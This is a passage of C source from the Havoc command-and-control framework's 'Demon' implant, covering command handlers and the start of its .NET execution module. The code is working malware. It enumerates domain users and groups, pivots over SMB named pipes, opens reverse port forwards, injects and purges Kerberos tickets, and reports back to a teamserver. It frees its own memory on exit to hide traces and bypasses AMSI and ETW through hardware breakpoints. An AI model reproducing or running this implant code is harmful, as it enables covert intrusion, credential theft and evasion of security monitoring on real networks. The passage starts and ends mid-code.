Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } } break; } case DEMON_NET_COMMAND_GROUP: { PUTS( "DEMON_NET_COMMAND_GROUP" ) PLOCALGROUP_INFO_1 GroupInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD NetStatus = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); NetStatus = Instance->Win32.NetGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, -1, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { if ( GroupInfo ) { for( DWORD i = 0;i < EntriesRead; i++ ) { PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name ); PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment ); } } Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } else { PRINTF( "NetGroupEnum: Failed [%d : %d]\n", NtGetLastError(), NetStatus ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } if ( GroupInfo ) { Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } break; } case DEMON_NET_COMMAND_USER: { PUTS( "DEMON_NET_COMMAND_USER" ) LPUSER_INFO_0 UserInfo = NULL; DWORD NetStatus = 0; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD Resume = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); NetStatus = Instance->Win32.NetUserEnum( ServerName, 0, 0, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &Resume ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( DWORD i = 0; i < EntriesRead; i++ ) { if ( UserInfo[ i ].usri0_name ) { PackageAddWString( Package, UserInfo[ i ].usri0_name ); PackageAddInt32( Package, FALSE ); // TODO: fix this. } } if ( UserInfo ) { Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } else { PRINTF( "NetGroupEnum: Failed [%d : %d]\n", NtGetLastError(), NetStatus ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } break; } default: { PUTS( "COMMAND NOT FOUND" ) break; } } PackageTransmit( Package ); } VOID CommandPivot( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_PIVOT ); DWORD Pivot = ParserGetInt32( Parser ); PackageAddInt32( Package, Pivot ); PRINTF( "Pivot => %d\n", Pivot ); switch ( Pivot ) { case DEMON_PIVOT_LIST: { PUTS( "DEMON_PIVOT_LIST" ) PPIVOT_DATA TempList = Instance->SmbPivots; do { if ( TempList ) { PRINTF( "Pivot List => DemonId:[%x] Named Pipe:[%ls]\n", TempList->DemonID, TempList->PipeName.Buffer ) PackageAddInt32( Package, TempList->DemonID ); PackageAddWString( Package, TempList->PipeName.Buffer ); TempList = TempList->Next; } else break; } while ( TRUE ); break; } case DEMON_PIVOT_SMB_CONNECT: { PUTS( "DEMON_PIVOT_SMB_CONNECT" ) DWORD BytesSize = 0; PVOID Output = NULL; BUFFER PipeName = { 0 }; PipeName.Buffer = ParserGetBytes( Parser, &PipeName.Length ); if ( PivotAdd( PipeName, &Output, &BytesSize ) ) { PRINTF( "Successful connected: %x : %d\n", Output, BytesSize ) PackageAddInt32( Package, TRUE ); PackageAddBytes( Package, Output, BytesSize ); MemSet( Output, 0, BytesSize ); Instance->Win32.LocalFree( Output ); Output = NULL; #ifdef DEBUG PPIVOT_DATA TempList = Instance->SmbPivots; PUTS( "Smb Pivots : [ " ); do { if ( TempList ) { PRINTF( "%x\n", TempList->DemonID ); TempList = TempList->Next; } else break; } while ( TRUE ); PUTS( "]" ); #endif } else { PUTS( "Failed to connect" ) PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, NtGetLastError() ); } break; } case DEMON_PIVOT_SMB_DISCONNECT: { DWORD AgentID = ParserGetInt32( Parser ); DWORD Success = FALSE; Success = PivotRemove( AgentID ); PackageAddInt32( Package, Success ); PackageAddInt32( Package, AgentID ); break; } case DEMON_PIVOT_SMB_COMMAND: { PUTS( "DEMON_PIVOT_SMB_COMMAND" ) UINT32 DemonId = ParserGetInt32( Parser ); BUFFER Data = { 0 }; PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = NULL; Data.Buffer = ParserGetBytes( Parser, &Data.Length ); if ( ! Data.Buffer || ! Data.Length ) { PUTS( "Can't send empty data to pivot" ) return; } do { if ( TempList ) { // if the specified demon was found break the loop if ( TempList->DemonID == DemonId ) { PivotData = TempList; break; } // select the next pivot TempList = TempList->Next; } else break; } while ( TRUE ); if ( PivotData ) { if ( ! PipeWrite( PivotData->Handle, &Data ) ) { PUTS( "PipeWrite failed" ) PACKAGE_ERROR_WIN32 } else PRINTF( "Successfully wrote 0x%x bytes of data to demon %x\n", Data.Length, DemonId ) } else PRINTF( "Didn't found demon pivot %x\n", DemonId ) // DEMON_PIVOT_SMB_COMMAND does not send any response // TODO: send confirmation that it worked? // this message colides with PivotPush return; } default: break; } PUTS( "Pivot transport" ) PackageTransmit( Package ); } VOID CommandTransfer( PPARSER Parser ) { DWORD Command = 0; PPACKAGE Package = NULL; PDOWNLOAD_DATA Download = NULL; DWORD FileID = 0; BOOL Found = 0; Package = PackageCreate( DEMON_COMMAND_TRANSFER ); Command = ParserGetInt32( Parser ); Download = Instance->Downloads; PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_TRANSFER_LIST: PUTS( "Transfer::list" ) { for ( ;; ) { if ( ! Download ) break; /* Add download data */ PackageAddInt32( Package, Download->FileID ); PackageAddInt32( Package, Download->ReadSize ); PackageAddInt32( Package, Download->State ); Download = Download->Next; } break; } case DEMON_COMMAND_TRANSFER_STOP: PUTS( "Transfer::stop" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_STOPPED; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); break; } case DEMON_COMMAND_TRANSFER_RESUME: PUTS( "Transfer::resume" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_RUNNING; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } /* Tell us if we managed to find and resume the download */ PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); break; } case DEMON_COMMAND_TRANSFER_REMOVE: PUTS( "Transfer::remove" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_REMOVE; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } /* Tell us if we managed to find and resume the download */ PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); /* Tell the server to close the file. Only if we found the download */ if ( Found ) { PPACKAGE Package2 = PackageCreate( DEMON_COMMAND_TRANSFER ); PackageAddInt32( Package2, Command ); PackageAddInt32( Package2, FileID ); PackageAddInt32( Package2, DOWNLOAD_REASON_REMOVED ); PackageTransmit( Package2 ); Package2 = NULL; } break; } } PackageTransmit( Package ); } VOID CommandSocket( PPARSER Parser ) { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; DWORD Command = 0; Package = PackageCreate( DEMON_COMMAND_SOCKET ); Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case SOCKET_COMMAND_RPORTFWD_ADD: PUTS( "Socket::RPortFwdAdd" ) { DWORD LclAddr = 0; DWORD LclPort = 0; DWORD FwdAddr = 0; DWORD FwdPort = 0; // TODO: add support for IPv6 /* Parse Host and Port to bind to */ LclAddr = ParserGetInt32( Parser ); LclPort = ParserGetInt32( Parser ); /* Parse Host and Port to forward port to */ FwdAddr = ParserGetInt32( Parser ); FwdPort = ParserGetInt32( Parser ); /* Create a reverse port forward socket and insert it into the linked list. */ Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PORTFWD, TRUE, LclAddr, NULL, LclPort, FwdAddr, FwdPort, 0 ); /* if Socket is not NULL then we managed to start a socket. */ PackageAddInt32( Package, Socket ? TRUE : FALSE ); PackageAddInt32( Package, Socket ? Socket->ID : 0 ); /* Add our Bind Host & Port data */ PackageAddInt32( Package, LclAddr ); PackageAddInt32( Package, LclPort ); /* Add our Forward Host & Port data */ PackageAddInt32( Package, FwdAddr ); PackageAddInt32( Package, FwdPort ); break; } case SOCKET_COMMAND_RPORTFWD_LIST: PUTS( "Socket::RPortFwdList" ) { Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD ) { PackageAddInt32( Package, Socket->ID ); /* Add our Bind Host & Port data */ PackageAddInt32( Package, Socket->IPv4 ); PackageAddInt32( Package, Socket->LclPort ); /* Add our Forward Host & Port data */ PackageAddInt32( Package, Socket->FwdAddr ); PackageAddInt32( Package, Socket->FwdPort ); } Socket = Socket->Next; } break; } case SOCKET_COMMAND_RPORTFWD_REMOVE: PUTS( "Socket::RPortFwdRemove" ) { DWORD SocketID = 0; SocketID = ParserGetInt32( Parser ); Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD && Socket->ID == SocketID ) { Socket->ShouldRemove = TRUE; } else if ( Socket->Type == SOCKET_TYPE_CLIENT && Socket->ParentID == SocketID ) { Socket->ShouldRemove = TRUE; } Socket = Socket->Next; } /* we don't want to send the message now. * send it while we are free and closing the socket. */ PackageDestroy( Package ); Package = NULL; return; } case SOCKET_COMMAND_RPORTFWD_CLEAR: PUTS( "Socket::RPortFwdClear" ) { Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT ) Socket->ShouldRemove = TRUE; Socket = Socket->Next; } /* we don't want to send the message now. * send it while we are free and closing the sockets. */ PackageDestroy( Package ); Package = NULL; return; } case SOCKET_COMMAND_SOCKSPROXY_ADD: PUTS( "Socket::SocksProxyAdd" ) { /* TODO: implement */ break; } case SOCKET_COMMAND_WRITE: PUTS( "Socket::Write" ) { DWORD SocketID = 0; BUFFER Data = { 0 }; BOOL Success = FALSE; DWORD Type = SOCKET_TYPE_NONE; /* Parse arguments */ SocketID = ParserGetInt32( Parser ); Data.Buffer = ParserGetBytes( Parser, &Data.Length ); /* get Sockets list */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) { PRINTF( "Could not find socket: %x\n", SocketID ) break; } if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } if ( Socket->ID == SocketID ) { Type = Socket->Type; /* write the data to the socket */ if ( Instance->Win32.send( Socket->Socket, Data.Buffer, Data.Length, 0 ) != SOCKET_ERROR ) { PRINTF( "Sent 0x%x bytes to Socket %x\n", Data.Length, SocketID ) Success = TRUE; } else { PRINTF( "Sending 0x%x bytes to Socket %x failed with %d\n", Data.Length, SocketID, Instance->Win32.WSAGetLastError() ); } break; } Socket = Socket->Next; } if ( Success ) { /* destroy the package and exit this command function */ PackageDestroy( Package ); Package = NULL; return; } else { /* report the error to the teamserver */ PackageAddInt32( Package, SocketID ); PackageAddInt32( Package, Type ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, Instance->Win32.WSAGetLastError() ); } } case SOCKET_COMMAND_CONNECT: PUTS( "Socket::Connect" ) { DWORD ScId = 0; BYTE ATYP = 0; UINT32 HostIpSize = 0; PBYTE HostIp = NULL; BOOL UseIpv4 = TRUE; DWORD IPv4 = 0; PBYTE IPv6 = NULL; INT16 Port = 0; LPSTR Domain = NULL; UINT32 ErrorCode = 0; /* parse arguments */ ScId = ParserGetInt32( Parser ); ATYP = ParserGetByte( Parser ); HostIp = ParserGetBytes( Parser, &HostIpSize ); Port = ParserGetInt16( Parser ); if ( ATYP == 1 ) { // IPv4 IPv4 = 0; IPv4 |= ( HostIp[0] << ( 8 * 0 )); IPv4 |= ( HostIp[1] << ( 8 * 1 )); IPv4 |= ( HostIp[2] << ( 8 * 2 )); IPv4 |= ( HostIp[3] << ( 8 * 3 )); } else if ( ATYP == 3 ) { // DOMAINNAME // make sure there is a nullbyte at the end of the domain Domain = Instance->Win32.LocalAlloc( LPTR, HostIpSize + 1 ); MemCopy( Domain, HostIp, HostIpSize ); IPv4 = DnsQueryIPv4( (LPSTR)Domain ); // if the domain does not have an IPv4, try with IPv6 if ( ! IPv4 ) { IPv6 = DnsQueryIPv6( (LPSTR)Domain ); UseIpv4 = FALSE; } Instance->Win32.LocalFree( Domain ); } else if ( ATYP == 4 ) { // IPv6 IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, HostIp, 16 ); UseIpv4 = FALSE; } PRINTF( "Socket ID: %x\n", ScId ) /* check if address is not 0 */ if ( IPv4 || IPv6 ) { /* Create a socks proxy socket and insert it into the linked list. */ if ( ( Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PROXY, UseIpv4, IPv4, IPv6, Port, 0, 0, 0 ) ) ) { Socket->ID = ScId; ErrorCode = 0; } else { ErrorCode = NtGetLastError(); PRINTF( "Connect failed with %d\n", ErrorCode ) } PackageAddInt32( Package, Socket ? TRUE : FALSE ); } else { PRINTF( "Could not resolve domain: %s\n", Domain ); // error code for "Host unreachable" ErrorCode = WSAEHOSTUNREACH; PackageAddInt32( Package, FALSE ); } PackageAddInt32( Package, ScId ); PackageAddInt32( Package, ErrorCode ); if ( IPv6 ) { Instance->Win32.LocalFree( IPv6 ); IPv6 = NULL; } break; } case SOCKET_COMMAND_CLOSE: PUTS( "Socket::Close" ) { DWORD SocketID = 0; /* parse arguments */ SocketID = ParserGetInt32( Parser ); PRINTF( "SocketID: %x\n", SocketID ); /* get Sockets list */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ID == SocketID ) { PRINTF( "Found socket: %x\n", Socket->ID ) Socket->ShouldRemove = TRUE; break; } Socket = Socket->Next; } /* destroy the package and exit this command function */ PackageDestroy( Package ); Package = NULL; return; } default: break; } PackageTransmit( Package ); } VOID CommandKerberos( IN PPARSER Parser ) { PPACKAGE Package = NULL; DWORD Command = 0; HANDLE hToken = TokenCurrentHandle(); Package = PackageCreate( DEMON_COMMAND_KERBEROS ); Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case KERBEROS_COMMAND_LUID: PUTS("Kerberos::LUID") { LUID* luid = NULL; luid = GetLUID( hToken ); if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } PackageAddInt32( Package, luid ? TRUE : FALSE ); if ( luid ) { PackageAddInt32( Package, luid->HighPart ); PackageAddInt32( Package, luid->LowPart ); MemSet( luid, 0, sizeof( LUID ) ); Instance->Win32.LocalFree( luid ); luid = NULL; } break; } case KERBEROS_COMMAND_KLIST: PUTS("Kerberos::Klist") { DWORD Type = 0; PSESSION_INFORMATION Sessions = NULL; PSESSION_INFORMATION SessionTmp = NULL; DWORD NumSessions = 0; LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; DWORD NumTickets = 0; PTICKET_INFORMATION TicketTmp = NULL; Type = ParserGetInt32( Parser ); // Type 0: /all // Type 1: /luid 0xabc if ( Type == 1 ) { luid.LowPart = ParserGetInt32( Parser ); } Sessions = Klist( hToken, luid ); PackageAddInt32( Package, Sessions ? TRUE : FALSE ); for ( NumSessions = 0, SessionTmp = Sessions; SessionTmp; NumSessions++, SessionTmp = SessionTmp->Next ){} PackageAddInt32( Package, NumSessions ); while ( Sessions ) { SessionTmp = Sessions->Next; PackageAddWString( Package, Sessions->UserName ); PackageAddWString( Package, Sessions->Domain ); PackageAddInt32( Package, Sessions->LogonId.LowPart ); PackageAddInt32( Package, Sessions->LogonId.HighPart ); PackageAddInt32( Package, Sessions->Session ); PackageAddWString( Package, Sessions->UserSID ); PackageAddInt32( Package, Sessions->LogonTime.LowPart ); PackageAddInt32( Package, Sessions->LogonTime.HighPart ); PackageAddInt32( Package, Sessions->LogonType ); PackageAddWString( Package, Sessions->AuthenticationPackage ); PackageAddWString( Package, Sessions->LogonServer ); PackageAddWString( Package, Sessions->LogonServerDNSDomain ); PackageAddWString( Package, Sessions->Upn ); for ( NumTickets = 0, TicketTmp = Sessions->Tickets; TicketTmp; NumTickets++, TicketTmp = TicketTmp->Next ){} PackageAddInt32( Package, NumTickets ); while ( Sessions->Tickets ) { TicketTmp = Sessions->Tickets->Next; PackageAddWString( Package, Sessions->Tickets->ClientName ); PackageAddWString( Package, Sessions->Tickets->ClientRealm ); PackageAddWString( Package, Sessions->Tickets->ServerName ); PackageAddWString( Package, Sessions->Tickets->ServerRealm ); PackageAddInt32( Package, Sessions->Tickets->StartTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->StartTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->EndTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->EndTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->RenewTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->RenewTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->EncryptionType ); PackageAddInt32( Package, Sessions->Tickets->TicketFlags ); PackageAddBytes( Package, Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length ); if ( Sessions->Tickets->Ticket.Buffer ) { DATA_FREE( Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length ); } DATA_FREE( Sessions->Tickets, sizeof( TICKET_INFORMATION ) ); Sessions->Tickets = TicketTmp; } DATA_FREE( Sessions, sizeof( SESSION_INFORMATION ) ); Sessions = SessionTmp; } if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } break; } case KERBEROS_COMMAND_PURGE: PUTS("Kerberos::Purge") { LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; luid.LowPart = ParserGetInt32( Parser ); PackageAddInt32( Package, Purge( hToken, luid ) ? TRUE : FALSE ); break; } case KERBEROS_COMMAND_PTT: PUTS("Kerberos::Ptt") { PBYTE Ticket = NULL; UINT32 TicketSize = 0; LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; Ticket = ParserGetBytes( Parser, &TicketSize ); luid.LowPart = ParserGetInt32( Parser ); PackageAddInt32( Package, Ptt( hToken, Ticket, TicketSize, luid ) ? TRUE : FALSE ); break; } default: break; } PackageTransmit( Package ); } VOID CommandMemFile( PPARSER Parser ) { PPACKAGE Package = NULL; ULONG32 ID = 0; BUFFER Data = { 0 }; SIZE_T Size = 0; PMEM_FILE MemFile = NULL; Package = PackageCreate( DEMON_COMMAND_MEM_FILE ); PUTS("MemFile") ID = ParserGetInt32( Parser ); Size = ParserGetInt64( Parser ); Data.Buffer = ParserGetBytes( Parser, &Data.Length ); // TODO: handle out of order packets? MemFile = ProcessMemFileChunk( ID, Size, Data.Buffer, Data.Length ); PackageAddInt32( Package, ID ); PackageAddInt32( Package, MemFile != NULL ? TRUE : FALSE ); PackageTransmit( Package ); } BOOL InWorkingHours( ) { SYSTEMTIME SystemTime = { 0 }; UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; WORD StartHour = 0; WORD StartMinute = 0; WORD EndHour = 0; WORD EndMinute = 0; // if WorkingHours is not set, return TRUE if ( ( ( WorkingHours >> 22 ) & 1 ) == 0 ) return TRUE; StartHour = ( WorkingHours >> 17 ) & 0b011111; StartMinute = ( WorkingHours >> 11 ) & 0b111111; EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour < StartHour || SystemTime.wHour > EndHour ) return FALSE; if ( SystemTime.wHour == StartHour && SystemTime.wMinute < StartMinute ) return FALSE; if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute ) return FALSE; return TRUE; } BOOL ReachedKillDate() { return Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate; } VOID KillDate( ) { PUTS( "Reached KillDate" ) /* Send our last message to our server... * "They say time is the fire in which we burn. * Right now, Captain, my time is running out." */ PPACKAGE Package = PackageCreate( DEMON_KILL_DATE ); PackageTransmit( Package ); PackageTransmitAll( NULL, NULL ); CommandExit( NULL ); } // TODO: rewrite this. disconnect all pivots. kill our threads. release memory and free itself. VOID CommandExit( PPARSER Parser ) { PUTS( "Exit" ); /* default is 1 == exit thread. * TODO: make an config that holds the default exit method */ UINT32 ExitMethod = 1; PPACKAGE Package = NULL; CONTEXT RopExit = { 0 }; LPVOID ImageBase = NULL; SIZE_T ImageSize = 0; PJOB_DATA JobList = Instance->Jobs; DWORD JobID = 0; PSOCKET_DATA SocketList = Instance->Sockets; PSOCKET_DATA SocketEntry = NULL; PDOWNLOAD_DATA DownloadList = Instance->Downloads; PDOWNLOAD_DATA DownloadEntry = NULL; PMEM_FILE MemFileList = Instance->MemFiles; PMEM_FILE MemFileEntry = NULL; PPIVOT_DATA SmbPivotList = Instance->SmbPivots; PPIVOT_DATA SmbPivotEntry = NULL; PCOFFEE_KEY_VALUE KeyValueList = Instance->CoffeKeyValueStore; PCOFFEE_KEY_VALUE KeyValueEntry = NULL; if ( Parser ) { /* Send our last message to our server... * "My battery is low, and it’s getting dark." */ Package = PackageCreate( DEMON_EXIT ); ExitMethod = ParserGetInt32( Parser ); PackageAddInt32( Package, ExitMethod ); PackageTransmit( Package ); PackageTransmitAll( NULL, NULL ); } // kill all running jobs for ( ;; ) { if ( ! JobList ) break; JobID = JobList->JobID; JobList = JobList->Next; JobKill( JobID ); } // close all sockets for ( ;; ) { if ( ! SocketList ) break; SocketEntry = SocketList; SocketList = SocketList->Next; if ( SocketEntry->Socket ) { Instance->Win32.closesocket( SocketEntry->Socket ); SocketEntry->Socket = 0; } MemSet( SocketEntry, 0, sizeof( SOCKET_DATA ) ); MmHeapFree( SocketEntry ); } // remove downloads for ( ;; ) { if ( ! DownloadList ) { break; } DownloadEntry = DownloadList; DownloadList = DownloadList->Next; DownloadRemove( DownloadEntry->FileID ); } for ( ;; ) { if ( ! MemFileList ) { break; } MemFileEntry = MemFileList; MemFileList = MemFileList->Next; RemoveMemFile( MemFileEntry->ID ); } // free the DownloadChunk buffer if ( Instance->DownloadChunk.Buffer ) { MmHeapFree( Instance->DownloadChunk.Buffer ); Instance->DownloadChunk.Buffer = NULL; Instance->DownloadChunk.Length = 0; } #ifdef TRANSPORT_HTTP DATA_FREE( Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ); #endif // disconnect from all smb pivots for ( ;; ) { if ( ! SmbPivotList ) { break; } SmbPivotEntry = SmbPivotList; SmbPivotList = SmbPivotList->Next; PivotRemove( SmbPivotEntry->DemonID ); } // free all key/values from COFFs for ( ;; ) { if ( ! KeyValueList ) { break; } KeyValueEntry = KeyValueList; KeyValueList = KeyValueList->Next; DATA_FREE( KeyValueEntry, sizeof( COFFEE_KEY_VALUE ) ); } // stop impersonating TokenImpersonate( FALSE ); // clear all stolen tokens TokenClear(); // terminate the use of the Winsock 2 DLL (Ws2_32.dll) if ( Instance->WSAWasInitialised ) { Instance->Win32.WSACleanup(); } #if TRANSPORT_HTTP // close the HTTP session if ( Instance->hHttpSession ) { Instance->Win32.WinHttpCloseHandle( Instance->hHttpSession ); } #endif #if _WIN64 /* NOTE: * Credit goes to Austin (@ilove2pwn_) for sharing this code with me. * TODO: * Clear memory by using a gadgets that prepares and executes movsb */ ImageBase = Instance->Session.ModuleBase; ImageSize = NULL; RopExit.ContextFlags = CONTEXT_FULL; Instance->Win32.RtlCaptureContext( &RopExit ); RopExit.Rip = U_PTR( Instance->Win32.NtFreeVirtualMemory ); RopExit.Rsp = U_PTR( ( RopExit.Rsp &~ ( 0x1000 - 1 ) ) - 0x1000 ); RopExit.Rcx = U_PTR( NtCurrentProcess() ); RopExit.Rdx = U_PTR( &ImageBase ); RopExit.R8 = U_PTR( &ImageSize ); RopExit.R9 = U_PTR( MEM_RELEASE ); if ( ExitMethod == 1 ) *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserThread ); else if ( ExitMethod == 2 ) *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserProcess ); RopExit.ContextFlags = CONTEXT_FULL; Instance->Win32.NtContinue( &RopExit, FALSE ); #else // TODO: cleanup memory if ( ExitMethod == 1 ) Instance->Win32.RtlExitUserThread( STATUS_SUCCESS ); else if ( ExitMethod == 2 ) Instance->Win32.RtlExitUserProcess( STATUS_SUCCESS ); #endif } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Dotnet.c000066400000000000000000000546221467014221700232760ustar00rootroot00000000000000#include #include #include #include #include #define PIPE_BUFFER 0x10000 * 5 GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } }; GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } }; GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } }; GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } }; GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } }; GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } }; BOOL AmsiPatched = FALSE; BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) { PPACKAGE PackageInfo = NULL; SAFEARRAYBOUND RgsBound[ 1 ] = { 0 }; BUFFER AssemblyData = { 0 }; LPWSTR* ArgumentsArray = NULL; INT ArgumentsCount = 0; LONG idx[ 1 ] = { 0 }; VARIANT Object = { 0 }; NTSTATUS Status = STATUS_SUCCESS; DWORD ThreadId = 0; HRESULT Result = S_OK; BOOL AmsiIsLoaded = FALSE; if ( ! Assembly.Buffer || ! Assembly.Length ) return FALSE; /* Create a named pipe for our output. try with anon pipes at some point. */ Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW( Instance->Dotnet->PipeName.Buffer, PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER, PIPE_BUFFER, 0, NULL ); if ( ! Instance->Dotnet->Pipe ) { PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; return FALSE; } if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) ) { PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; return FALSE; } if ( ! Instance->Win32.GetConsoleWindow( ) ) { HWND wnd = NULL; Instance->Win32.AllocConsole( ); if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) ) Instance->Win32.ShowWindow( wnd, SW_HIDE ); } // // hosting common language runtime // if ( ! ClrCreateInstance( Instance->Dotnet->NetVersion.Buffer, & Instance->Dotnet->MetaHost, & Instance->Dotnet->ClrRuntimeInfo, & Instance->Dotnet->ICorRuntimeHost ) ) { PUTS( "Couldn't start CLR" ) return FALSE; } /* if Amsi/Etw bypass is enabled */ if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { #if _WIN64 PUTS( "Try to patch(less) Amsi/Etw" ) PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED ); /* check if Amsi is loaded */ AmsiIsLoaded = TRUE; if ( ! Instance->Modules.Amsi ) { AmsiIsLoaded = RtAmsi(); } PUTS( "Init HwBp Engine" ) /* use global engine */ if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) { return FALSE; } ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); /* add Amsi bypass */ if ( AmsiIsLoaded ) { PUTS( "HwBp Engine add AmsiScanBuffer bypass" ) if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } } /* add Etw bypass */ PUTS( "HwBp Engine add NtTraceEvent bypass" ) if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, 